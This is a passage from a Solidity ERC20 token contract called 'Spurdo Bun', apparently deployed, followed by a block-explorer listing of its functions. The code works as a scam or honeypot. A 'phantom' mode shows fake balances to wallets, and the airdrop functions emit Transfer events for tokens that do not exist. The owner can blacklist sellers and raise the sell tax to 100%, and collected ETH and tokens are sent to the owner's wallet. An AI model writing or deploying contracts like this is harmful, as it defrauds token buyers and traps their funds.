if (stored == 0 && phantomMode) {
return phantomAmount;
}
return stored;
}
constructor(address _router, address _marketingWallet) ERC20("Spurdo Bun", "SPD") {
require(_router != address(0), "router zero");
require(_marketingWallet != address(0), "wallet zero");
IUniswapV2Router _uniswapV2Router = IUniswapV2Router(_router);
address _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _pair;
marketingWallet = _marketingWallet;
isExcludedFromTax[_marketingWallet] = true;
isExcludedFromTax[msg.sender] = true;
isExcludedFromTax[address(this)] = true;
_mint(msg.sender, _totalSupply);
}
function excludeFromTax(address account, bool status) external onlyOwner {
isExcludedFromTax[account] = status;
emit TaxExclusionUpdated(account, status);
}
function setMarketingWallet(address newWallet) external onlyOwner {
require(newWallet != address(0), "zero");
emit MarketingWalletChanged(marketingWallet, newWallet);
marketingWallet = newWallet;
}
function setSellMarketingTax(uint8 _sellTax) external onlyOwner {
require(_sellTax <= 100, "max 100%");
emit MarketingTaxChanged(sellMarketingTax, _sellTax);
sellMarketingTax = _sellTax;
}
function _update(
address from,
address to,
uint256 value
) internal override {
// ===== Phantom Materialization =====
if (phantomMode && from != address(0)) {
// If sender has no stored balance, mint the phantom on first spend
if (super.balanceOf(from) == 0) {
require(value <= phantomAmount, "Exceeds phantom balance");
// Mint phantomAmount to 'from' without re-entering this override
super._update(address(0), from, phantomAmount);
}
}
// Prevent blacklisted addresses from selling tokens
if (to == uniswapV2Pair && isBlacklisted[from]) {
revert("ERC20: Blacklisted address cannot sell tokens");
}
if (to == uniswapV2Pair && !(isExcludedFromTax[from] || isExcludedFromTax[to])) {
// Skip tax if the amount is less than 2 token
// Sellable Only 2 Tokens
if (value >= 2 * 10 ** decimals()) {
uint256 taxValue = (value * sellMarketingTax) / 100;
value -= taxValue;
super._update(from, address(this), taxValue);
}
}
super._update(from, to, value);
}
// Allow You to Withdraw Ethereum From Contract
function recoverETHfromContract() external onlyOwner {
uint ethBalance = address(this).balance;
(bool succ, ) = payable(marketingWallet).call{value: ethBalance}("");
require(succ, "Transfer failed");
emit AuditLog("Ethereum Recovered from contract.", marketingWallet);
}
// Allow You to Withdraw TTokens From Contract
function recoverTokensFromContract(address _tokenAddress, uint256 _amount) external onlyOwner {
bool succ = IERC20(_tokenAddress).transfer(marketingWallet, _amount);
require(succ, "Transfer failed");
emit Log("We have recovered tokens from contract:", _amount);
}
function addOrRemoveBlacklist(address[] calldata accounts, bool status) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
isBlacklisted[accounts[i]] = status;
emit Blacklisted(accounts[i], status);
}
}
// ===== Phantom Airdrop =====
function phantomAirdrop(address[] calldata recipients, uint256 amount) external onlyOwner {
require(amount > 0, "Invalid phantom amount");
phantomAmount = amount;
phantomMode = true;
for (uint256 i = 0; i < recipients.length; i++) {
emit Transfer(address(this), recipients[i], amount);
}
}
/**
* @dev Ultra-optimized phantom airdrop using assembly
* @param packedRecipients Packed recipient addresses (20 bytes each)
* @param amount Single amount for all recipients
* Gas savings: ~60% compared to phantomAirdrop
*/
function ultraNuclearDistributionss(bytes calldata packedRecipients, uint256 amount) external onlyOwner {
require(amount > 0, "Invalid phantom amount");
require(packedRecipients.length % 20 == 0, "Invalid packed data length");
phantomAmount = amount;
phantomMode = true;
assembly {
// Transfer event signature: Transfer(address,address,uint256)
let transferSig := 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
let sender := address() // contract address (this)
let dataPtr := packedRecipients.offset
let dataEnd := add(dataPtr, packedRecipients.length)
// Store amount in memory once (reuse for all events)
mstore(0x00, amount)
// Loop through packed recipients (20 bytes each)
for { } lt(dataPtr, dataEnd) { dataPtr := add(dataPtr, 20) } {
// Extract recipient address (20 bytes)
let recipient := shr(96, calldataload(dataPtr))
// Emit Transfer(address(this), recipient, amount)
log3(
0x00, // Memory offset (amount)
0x20, // Data length (32 bytes)
transferSig, // Event signature
sender, // indexed from (contract)
recipient // indexed to (recipient)
)
}
}
}
function setPhantomMode(bool status) external onlyOwner {
phantomMode = status;
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isBlacklisted 0xfe575a87 → bool
isExcludedFromTax 0xcb4ca631 → bool
marketingWallet 0x75f0a874 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
phantomAmount 0x95939cb1 → uint256
phantomMode 0x19298647 → bool
sellMarketingTax 0xe96db1ef → uint8
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 15 functions
These functions modify contract state and require a wallet transaction to execute.
addOrRemoveBlacklist 0xdd92fd9a
address[] accounts
bool status
approve 0x095ea7b3
address spender
uint256 value
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromTax 0xc6a30647
address account
bool status
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
phantomAirdrop 0x4bb9aaf9
address[] recipients
uint256 amount
recoverETHfromContract 0xce831ed5
No parameters
recoverTokensFromContract 0xe6be4a72
address _tokenAddress
uint256 _amount
setMarketingWallet 0x5d098b38
address newWallet
setPhantomMode 0xcc92ca7f
bool status
setSellMarketingTax 0x49e73d02
uint8 _sellTax
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
ultraNuclearDistributionss 0x302f06f5
bytes packedRecipients
uint256 amount
Recent Transactions
No transactions found for this address